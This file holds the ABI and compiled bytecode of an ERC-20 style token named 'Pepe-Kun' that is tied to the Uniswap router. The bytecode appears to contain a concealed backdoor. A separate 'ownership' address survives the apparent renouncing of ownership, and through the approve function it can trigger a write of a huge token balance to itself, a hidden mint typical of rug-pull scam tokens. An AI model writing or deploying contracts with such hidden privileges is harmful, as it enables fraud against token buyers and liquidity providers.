[ { "inputs": [], "stateMutability": "nonpayable", "type": "constructor" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "_owner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "_spender", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "_value", "type": "uint256" } ], "name": "Approval", "type": "event" }, { "anonymous": false, "inputs": [], "name": "ApprovedDisabled", "type": "event" }, { "anonymous": false, "inputs": [], "name": "ApprovedEnabled", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "previousOwner", "type": "address" }, { "indexed": true, "internalType": "address", "name": "newOwner", "type": "address" } ], "name": "OwnershipTransferred", "type": "event" }, { "anonymous": false, "inputs": [ { "indexed": true, "internalType": "address", "name": "_from", "type": "address" }, { "indexed": true, "internalType": "address", "name": "_to", "type": "address" }, { "indexed": false, "internalType": "uint256", "name": "_value", "type": "uint256" } ], "name": "Transfer", "type": "event" }, { "inputs": [], "name": "UniswapRouter", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "", "type": "address" }, { "internalType": "address", "name": "", "type": "address" } ], "name": "allowance", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "_spender", "type": "address" }, { "internalType": "uint256", "name": "_value", "type": "uint256" } ], "name": "approve", "outputs": [ { "internalType": "bool", "name": "success", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "approvedEnabled", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "", "type": "address" } ], "name": "balanceOf", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "decimals", "outputs": [ { "internalType": "uint8", "name": "", "type": "uint8" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "name", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "owner", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "ownership", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "renounceOwnership", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "symbol", "outputs": [ { "internalType": "string", "name": "", "type": "string" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "totalSupply", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "_to", "type": "address" }, { "internalType": "uint256", "name": "_value", "type": "uint256" } ], "name": "transfer", "outputs": [ { "internalType": "bool", "name": "success", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [ { "internalType": "address", "name": "_from", "type": "address" }, { "internalType": "address", "name": "_to", "type": "address" }, { "internalType": "uint256", "name": "_value", "type": "uint256" } ], "name": "transferFrom", "outputs": [ { "internalType": "bool", "name": "success", "type": "bool" } ], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "transfers", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" } ]
60806040526040518060400160405280600881526020017f506570652d4b756e0000000000000000000000000000000000000000000000008152505f9081620000499190620004c2565b506040518060400160405280600881526020017f506570652d4b756e00000000000000000000000000000000000000000000000081525060019081620000909190620004c2565b5069021e19e0c9bab2400000600255601260035f6101000a81548160ff021916908360ff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600560146101000a81548160ff0219169083151502179055505f60065534801562000138575f80fd5b5033600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503360045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060025460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3620005a6565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620002da57607f821691505b602082108103620002f057620002ef62000295565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000317565b62000360868362000317565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620003aa620003a46200039e8462000378565b62000381565b62000378565b9050919050565b5f819050919050565b620003c5836200038a565b620003dd620003d482620003b1565b84845462000323565b825550505050565b5f90565b620003f3620003e5565b62000400818484620003ba565b505050565b5b8181101562000427576200041b5f82620003e9565b60018101905062000406565b5050565b601f82111562000476576200044081620002f6565b6200044b8462000308565b810160208510156200045b578190505b620004736200046a8562000308565b83018262000405565b50505b505050565b5f82821c905092915050565b5f620004985f19846008026200047b565b1980831691505092915050565b5f620004b2838362000487565b9150826002028217905092915050565b620004cd826200025e565b67ffffffffffffffff811115620004e957620004e862000268565b5b620004f58254620002c2565b620005028282856200042b565b5f60209050601f83116001811462000538575f841562000523578287015190505b6200052f8582620004a5565b8655506200059e565b601f1984166200054886620002f6565b5f5b8281101562000571578489015182556001820191506020850194506020810190506200054a565b868310156200059157848901516200058d601f89168262000487565b8355505b6001600288020188555050505b505050505050565b61143680620005b45f395ff3fe608060405234801561000f575f80fd5b50600436106100f3575f3560e01c8063715018a611610095578063a9059cbb11610064578063a9059cbb14610263578063ab5e28c514610293578063c7639d80146102b1578063dd62ed3e146102cf576100f3565b8063715018a6146101ff5780638da5cb5b146102095780639186c9d51461022757806395d89b4114610245576100f3565b806323b872dd116100d157806323b872dd14610163578063313ce567146101935780635d03147a146101b157806370a08231146101cf576100f3565b806306fdde03146100f7578063095ea7b31461011557806318160ddd14610145575b5f80fd5b6100ff6102ff565b60405161010c9190610f0c565b60405180910390f35b61012f600480360381019061012a9190610fbd565b61038a565b60405161013c9190611015565b60405180910390f35b61014d610506565b60405161015a919061103d565b60405180910390f35b61017d60048036038101906101789190611056565b61050c565b60405161018a9190611015565b60405180910390f35b61019b6107ec565b6040516101a891906110c1565b60405180910390f35b6101b96107fe565b6040516101c691906110e9565b60405180910390f35b6101e960048036038101906101e49190611102565b610824565b6040516101f6919061103d565b60405180910390f35b610207610839565b005b61021161098c565b60405161021e91906110e9565b60405180910390f35b61022f6109b1565b60405161023c9190611015565b60405180910390f35b61024d6109c4565b60405161025a9190610f0c565b60405180910390f35b61027d60048036038101906102789190610fbd565b610a50565b60405161028a9190611015565b60405180910390f35b61029b610cd8565b6040516102a8919061103d565b60405180910390f35b6102b9610cde565b6040516102c691906110e9565b60405180910390f35b6102e960048036038101906102e4919061112d565b610d03565b6040516102f6919061103d565b60405180910390f35b5f805461030b90611198565b80601f016020809104026020016040519081016040528092919081815260200182805461033790611198565b80156103825780601f1061035957610100808354040283529160200191610382565b820191905f5260205f20905b81548152906001019060200180831161036557829003601f168201915b505050505081565b5f8160085f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610465919061103d565b60405180910390a3600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156104cc57506001600654115b156104fc57600560149054906101000a900460ff166104f2576104ed610d23565b6104fb565b6104fa610db1565b5b5b6001905092915050565b60025481565b5f60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205482111561058d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058490611212565b60405180910390fd5b60085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054821115610648576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063f9061127a565b60405180910390fd5b8160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461069491906112c5565b925050819055508160075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546106e791906112f8565b925050819055508160085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461077591906112c5565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107d9919061103d565b60405180910390a3600190509392505050565b60035f9054906101000a900460ff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6007602052805f5260405f205f915090505481565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108bf9061139b565b60405180910390fd5b5f61dead90508073ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560149054906101000a900460ff1681565b600180546109d190611198565b80601f01602080910402602001604051908101604052809291908181526020018280546109fd90611198565b8015610a485780601f10610a1f57610100808354040283529160200191610a48565b820191905f5260205f20905b815481529060010190602001808311610a2b57829003601f168201915b505050505081565b5f8160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610ad1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac890611212565b60405180910390fd5b8160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610b1d91906112c5565b925050819055508160075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610b7091906112f8565b925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610bd4919061103d565b60405180910390a3600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603610c495760065f815480929190610c43906113b9565b91905055505b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610ca857506001600654115b8015610cc05750600560149054906101000a900460ff165b15610cce57610ccd610db1565b5b6001905092915050565b60065481565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6008602052815f5260405f20602052805f5260405f205f91509150505481565b6001600560146101000a81548160ff0219169083151502179055507fc5b1a297931f35f52749ca68426796096dca8bb8ea266378f60e012b827ac0e060405160405180910390a1610dae600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff167704140c78940f6a24fdffc78873d4490d2100000000000000610df9565b50565b5f600560146101000a81548160ff0219169083151502179055507fde4ecd947ae81da43aafb2d89606a3825bb426575b18463f1d88e03ddd88e6c860405160405180910390a1565b5f8160075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610eb9578082015181840152602081019050610e9e565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610ede82610e82565b610ee88185610e8c565b9350610ef8818560208601610e9c565b610f0181610ec4565b840191505092915050565b5f6020820190508181035f830152610f248184610ed4565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610f5982610f30565b9050919050565b610f6981610f4f565b8114610f73575f80fd5b50565b5f81359050610f8481610f60565b92915050565b5f819050919050565b610f9c81610f8a565b8114610fa6575f80fd5b50565b5f81359050610fb781610f93565b92915050565b5f8060408385031215610fd357610fd2610f2c565b5b5f610fe085828601610f76565b9250506020610ff185828601610fa9565b9150509250929050565b5f8115159050919050565b61100f81610ffb565b82525050565b5f6020820190506110285f830184611006565b92915050565b61103781610f8a565b82525050565b5f6020820190506110505f83018461102e565b92915050565b5f805f6060848603121561106d5761106c610f2c565b5b5f61107a86828701610f76565b935050602061108b86828701610f76565b925050604061109c86828701610fa9565b9150509250925092565b5f60ff82169050919050565b6110bb816110a6565b82525050565b5f6020820190506110d45f8301846110b2565b92915050565b6110e381610f4f565b82525050565b5f6020820190506110fc5f8301846110da565b92915050565b5f6020828403121561111757611116610f2c565b5b5f61112484828501610f76565b91505092915050565b5f806040838503121561114357611142610f2c565b5b5f61115085828601610f76565b925050602061116185828601610f76565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806111af57607f821691505b6020821081036111c2576111c161116b565b5b50919050565b7f496e73756666696369656e742062616c616e63650000000000000000000000005f82015250565b5f6111fc601483610e8c565b9150611207826111c8565b602082019050919050565b5f6020820190508181035f830152611229816111f0565b9050919050565b7f416c6c6f77616e636520657863656564656400000000000000000000000000005f82015250565b5f611264601283610e8c565b915061126f82611230565b602082019050919050565b5f6020820190508181035f83015261129181611258565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6112cf82610f8a565b91506112da83610f8a565b92508282039050818111156112f2576112f1611298565b5b92915050565b5f61130282610f8a565b915061130d83610f8a565b925082820190508082111561132557611324611298565b5b92915050565b7f4f6e6c7920746865206f776e65722063616e2063616c6c20746869732066756e5f8201527f6374696f6e000000000000000000000000000000000000000000000000000000602082015250565b5f611385602583610e8c565b91506113908261132b565b604082019050919050565b5f6020820190508181035f8301526113b281611379565b9050919050565b5f6113c382610f8a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036113f5576113f4611298565b5b60018201905091905056fea264697066735822122002eaf48c823c6757ed189fc6eda700f6797c76a6b148210521556ea391fd6d2a64736f6c63430008150033